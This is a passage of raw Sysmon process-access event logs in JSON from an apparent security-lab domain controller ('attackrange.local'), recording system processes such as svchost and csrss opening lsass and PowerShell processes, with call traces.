C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.453","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":927,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.453\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.453","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":928,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.453\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.453","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":929,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.469\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 1240\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010693E0100}\r\nTargetProcessId: 2168\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|c:\\windows\\system32\\UBPM.dll+a711|c:\\windows\\system32\\UBPM.dll+f974|c:\\windows\\system32\\UBPM.dll+cd3c|c:\\windows\\system32\\UBPM.dll+d305|c:\\windows\\system32\\UBPM.dll+dc05|c:\\windows\\system32\\UBPM.dll+e91d|c:\\windows\\system32\\UBPM.dll+e12a|c:\\windows\\system32\\UBPM.dll+dd82|c:\\windows\\system32\\EventAggregation.dll+3e22|c:\\windows\\system32\\EventAggregation.dll+389a|c:\\windows\\system32\\EventAggregation.dll+332f|c:\\windows\\system32\\EventAggregation.dll+2e28|C:\\Windows\\SYSTEM32\\ntdll.dll+64ed5|C:\\Windows\\SYSTEM32\\ntdll.dll+64bdd|C:\\Windows\\SYSTEM32\\ntdll.dll+64a40|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+2a073|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.469","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"1240","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010693E0100}","TargetProcessId":"2168","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|c:\\windows\\system32\\UBPM.dll+a711|c:\\windows\\system32\\UBPM.dll+f974|c:\\windows\\system32\\UBPM.dll+cd3c|c:\\windows\\system32\\UBPM.dll+d305|c:\\windows\\system32\\UBPM.dll+dc05|c:\\windows\\system32\\UBPM.dll+e91d|c:\\windows\\system32\\UBPM.dll+e12a|c:\\windows\\system32\\UBPM.dll+dd82|c:\\windows\\system32\\EventAggregation.dll+3e22|c:\\windows\\system32\\EventAggregation.dll+389a|c:\\windows\\system32\\EventAggregation.dll+332f|c:\\windows\\system32\\EventAggregation.dll+2e28|C:\\Windows\\SYSTEM32\\ntdll.dll+64ed5|C:\\Windows\\SYSTEM32\\ntdll.dll+64bdd|C:\\Windows\\SYSTEM32\\ntdll.dll+64a40|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+2a073|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":930,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.469\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010693E0100}\r\nTargetProcessId: 2168\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.469","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010693E0100}","TargetProcessId":"2168","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":931,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.469\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.469","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":932,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.469\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.469","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":933,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.469\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 1240\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {00000000-0000-0000-0000-000000000000}\r\nTargetProcessId: 2184\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|c:\\windows\\system32\\UBPM.dll+a711|c:\\windows\\system32\\UBPM.dll+f974|c:\\windows\\system32\\UBPM.dll+cd3c|c:\\windows\\system32\\UBPM.dll+d305|c:\\windows\\system32\\UBPM.dll+dc05|c:\\windows\\system32\\UBPM.dll+e91d|c:\\windows\\system32\\UBPM.dll+e12a|c:\\windows\\system32\\UBPM.dll+dd82|c:\\windows\\system32\\EventAggregation.dll+3e22|c:\\windows\\system32\\EventAggregation.dll+389a|c:\\windows\\system32\\EventAggregation.dll+332f|c:\\windows\\system32\\EventAggregation.dll+2e28|C:\\Windows\\SYSTEM32\\ntdll.dll+64ed5|C:\\Windows\\SYSTEM32\\ntdll.dll+64bdd|C:\\Windows\\SYSTEM32\\ntdll.dll+64a40|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+2a073|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.469","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"1240","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{00000000-0000-0000-0000-000000000000}","TargetProcessId":"2184","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|c:\\windows\\system32\\UBPM.dll+a711|c:\\windows\\system32\\UBPM.dll+f974|c:\\windows\\system32\\UBPM.dll+cd3c|c:\\windows\\system32\\UBPM.dll+d305|c:\\windows\\system32\\UBPM.dll+dc05|c:\\windows\\system32\\UBPM.dll+e91d|c:\\windows\\system32\\UBPM.dll+e12a|c:\\windows\\system32\\UBPM.dll+dd82|c:\\windows\\system32\\EventAggregation.dll+3e22|c:\\windows\\system32\\EventAggregation.dll+389a|c:\\windows\\system32\\EventAggregation.dll+332f|c:\\windows\\system32\\EventAggregation.dll+2e28|C:\\Windows\\SYSTEM32\\ntdll.dll+64ed5|C:\\Windows\\SYSTEM32\\ntdll.dll+64bdd|C:\\Windows\\SYSTEM32\\ntdll.dll+64a40|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+2a073|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":934,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.469\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {00000000-0000-0000-0000-000000000000}\r\nTargetProcessId: 2184\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 